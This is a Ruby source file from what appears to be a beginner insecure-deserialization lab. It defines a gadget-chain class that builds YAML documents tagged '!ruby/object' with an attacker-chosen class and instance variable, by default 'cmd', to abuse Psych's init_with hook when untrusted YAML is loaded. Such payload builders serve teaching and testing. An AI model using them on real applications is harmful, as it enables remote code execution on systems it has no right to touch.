Cybersecurity-Projects/PROJECTS/beginner/deserialization-gadget-lab/lib/marshalsea/chains/psych_init_with.rb

58 lines
1.1 KiB
Ruby

# ©AngelaMos | 2026
# psych_init_with.rb
# frozen_string_literal: true
require "psych"
module Marshalsea
module Chains
class PsychInitWith < Base
CHAIN_NAME = "psych-init-with"
VECTOR = "init_with"
CVE = "none"
TARGET_GEM = "psych"
AFFECTED = [[">= 0"]].map { |constraints| constraints.map(&:freeze).freeze }.freeze
DOCUMENT_TEMPLATE = <<~YAML
--- !ruby/object:%<class_name>s
%<ivar>s: %<value>s
YAML
DEFAULT_IVAR = "cmd"
METADATA = {
name: CHAIN_NAME,
vector: VECTOR,
cve: CVE,
gem: TARGET_GEM,
affected: AFFECTED,
kind: KIND_CHAIN
}.freeze
def self.metadata
METADATA
end
def initialize(class_name, value, ivar: DEFAULT_IVAR)
super()
@class_name = class_name
@value = value
@ivar = ivar
end
def generate
format(DOCUMENT_TEMPLATE, class_name: class_name, ivar: ivar, value: value.inspect)
end
def serialize
generate
end
private
attr_reader :class_name, :value, :ivar
end
end
end